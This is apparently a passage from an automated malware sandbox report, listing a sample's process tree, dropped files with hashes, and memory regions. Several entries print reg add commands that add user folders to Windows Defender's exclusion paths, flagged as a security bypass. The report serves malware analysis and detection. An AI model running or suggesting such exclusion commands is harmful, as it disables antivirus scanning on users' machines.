                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1580
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:732
                        • C:\Program Files (x86)\4EEboB\4EEboB.exe
                          "C:\Program Files (x86)\4EEboB\4EEboB.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • System Location Discovery: System Language Discovery
                          PID:4240
                        • C:\Program Files (x86)\4EEboB\4EEboB.exe
                          "C:\Program Files (x86)\4EEboB\4EEboB.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • System Location Discovery: System Language Discovery
                          PID:504
                        • C:\Program Files (x86)\Urg2KmsV\v63JyhT.exe
                          "C:\Program Files (x86)\Urg2KmsV\v63JyhT.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • System Location Discovery: System Language Discovery
                          PID:4544
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:508
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1428
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:2004
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4164

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              4EEboB.exe

                              • Path C:\Program Files (x86)\4EEboB\4EEboB.exe
                              • Size 145KB
                              • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              XPSPLOG.dll

                              • Path C:\Program Files (x86)\4EEboB\XPSPLOG.dll
                              • Size 4.6MB
                              • SHA256 2466b4bea8f1c169a017a76b70dddd43b632d733059560ec2367e4a98f180d9a
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              image.png

                              • Path C:\Program Files (x86)\4EEboB\image.png
                              • Size 4.8MB
                              • SHA256 8c038f9916d8ea98df1092de05b82d70f86302850505f69e5060da9d20d9cbc1
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              thumbs.db

                              • Path C:\Program Files (x86)\4EEboB\thumbs.db
                              • Size 358KB
                              • SHA256 3ef3948f9cf7f377062c19b075c7de9b5378c5fd78feb17322aebf7e53c0d5cd
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              XPSPLOG.dll

                              • Path C:\Program Files (x86)\Urg2KmsV\XPSPLOG.dll
                              • Size 4.6MB
                              • SHA256 b6bc55364c477a208a0907d83b74998a948360cbcccabd23d6cd31d0de8fc2c9
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              image.png

                              • Path C:\Program Files (x86)\Urg2KmsV\image.png
                              • Size 4.8MB
                              • SHA256 89a85d0d7d6b4c81f2a7ca866f927ff193c03a4892cb123709ef103308321282
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              destopbak.ini

                              • Path C:\Users\Public\Music\destopbak.ini
                              • Size 2B
                              • SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
                              • MD5 SHA1 SHA512

                              UxEnhance64.dll

                              • Path C:\Users\Public\z85smi\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 69712f356891672cf991568467558cd020cd9d9584e0318c64616f0984380f30
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\z85smi\adoresd.dat
                              • Size 4.7MB
                              • SHA256 1f1b409634556325fc15371b562c903beb8ec63d8b90c375aa702edb0d355190
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              ayMrfJ.exe

                              • Path C:\Users\Public\z85smi\ayMrfJ.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\z85smi\msadox.tb
                              • Size 8KB
                              • SHA256 8bc4fb4a9c2007e726b4ac9c10866384dcca4095b34dd56360ed5a89cb627d7d
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              xxxx.ini

                              • Path \??\c:\xxxx.ini
                              • Size 2B
                              • SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
                              • MD5 SHA1 SHA512

                              memory/448-524-0x00007FFC440F0000-0x00007FFC44100000-memory.dmp

                              memory/448-0-0x00000000001E0000-0x00000000001EE000-memory.dmp

                              memory/448-523-0x00000000001E0000-0x00000000001EE000-memory.dmp

                              memory/448-503-0x00007FFC440F0000-0x00007FFC44100000-memory.dmp

                              memory/448-1-0x00000000001F0000-0x00000000001FC000-memory.dmp

                              memory/504-732-0x0000000074950000-0x000000007509A000-memory.dmp

                              memory/504-731-0x0000000001170000-0x0000000001171000-memory.dmp

                              memory/2244-751-0x00000000030C0000-0x000000000389D000-memory.dmp

                              memory/2244-691-0x0000000003A60000-0x0000000003A74000-memory.dmp

                              memory/2244-677-0x00000000030C0000-0x000000000389D000-memory.dmp

                              memory/2244-693-0x0000000010000000-0x0000000010061000-memory.dmp

                              memory/2244-673-0x00000000030C0000-0x000000000389D000-memory.dmp

                              memory/2244-672-0x0000000000F40000-0x0000000000F41000-memory.dmp

                              memory/2244-670-0x00000000030C0000-0x000000000389D000-memory.dmp

                              memory/2244-666-0x0000000074950000-0x000000007509A000-memory.dmp

                              memory/2244-705-0x00000000030C0000-0x000000000389D000-memory.dmp

                              memory/2244-665-0x0000000000B50000-0x0000000000B51000-memory.dmp

                              memory/2244-720-0x00000000030C0000-0x000000000389D000-memory.dmp

                              memory/2244-717-0x00000000030C0000-0x000000000389D000-memory.dmp

                              memory/4164-593-0x00000182D8190000-0x00000182D8A17000-memory.dmp

                              memory/4164-594-0x00007FFC4EFD0000-0x00007FFC4EFD2000-memory.dmp

                              memory/4164-592-0x00000182D8190000-0x00000182D8A17000-memory.dmp

                              memory/4164-591-0x00000182D8190000-0x00000182D8A17000-memory.dmp

                              memory/4164-590-0x00000182D8190000-0x00000182D8A17000-memory.dmp

                              memory/4164-585-0x00007FFC4EFE0000-0x00007FFC4EFE2000-memory.dmp

                              memory/4164-586-0x00000182D8190000-0x00000182D8A17000-memory.dmp

                              memory/4164-581-0x00000182D8190000-0x00000182D8A17000-memory.dmp

                              memory/4164-578-0x00007FFC32840000-0x00007FFC32D5E000-memory.dmp

                              memory/4240-728-0x0000000074950000-0x000000007509A000-memory.dmp

                              memory/4240-727-0x0000000000B80000-0x0000000000B81000-memory.dmp

                              memory/4544-749-0x00000000010E0000-0x00000000010E1000-memory.dmp

                              memory/4544-745-0x0000000001110000-0x0000000001111000-memory.dmp

                              memory/4544-746-0x0000000003790000-0x0000000003F6D000-memory.dmp

                              memory/4544-743-0x0000000003790000-0x0000000003F6D000-memory.dmp

                              memory/4544-738-0x00000000010E0000-0x00000000010E1000-memory.dmp

                              memory/4544-739-0x00000000725D0000-0x0000000072D1A000-memory.dmp

                              memory/4972-563-0x0000021BAF830000-0x0000021BB00B7000-memory.dmp

                              memory/4972-530-0x00007FFC32840000-0x00007FFC32D5E000-memory.dmp

                              memory/4972-545-0x0000021BAF830000-0x0000021BB00B7000-memory.dmp

                              memory/4972-542-0x0000021BAF830000-0x0000021BB00B7000-memory.dmp

                              memory/4972-543-0x0000021BAF830000-0x0000021BB00B7000-memory.dmp

                              memory/4972-537-0x00007FFC4EFE0000-0x00007FFC4EFE2000-memory.dmp

                              memory/4972-538-0x0000021BAF830000-0x0000021BB00B7000-memory.dmp

                              memory/4972-535-0x0000021BAF830000-0x0000021BB00B7000-memory.dmp

                              memory/4972-549-0x0000021BAF830000-0x0000021BB00B7000-memory.dmp

                              memory/4972-544-0x0000021BAF830000-0x0000021BB00B7000-memory.dmp

                              memory/4972-558-0x0000021BB05E0000-0x0000021BB066A000-memory.dmp

                              memory/4972-557-0x0000021BB05E0000-0x0000021BB066A000-memory.dmp

                              memory/4972-556-0x0000021BB05E0000-0x0000021BB066A000-memory.dmp

                              memory/4972-555-0x0000021BB05E0000-0x0000021BB066A000-memory.dmp

                              memory/4972-554-0x0000021BB0130000-0x0000021BB017E000-memory.dmp

                              memory/4972-562-0x0000021BAF830000-0x0000021BB00B7000-memory.dmp

                              memory/4972-529-0x00007FFC4EFD0000-0x00007FFC4EFD2000-memory.dmp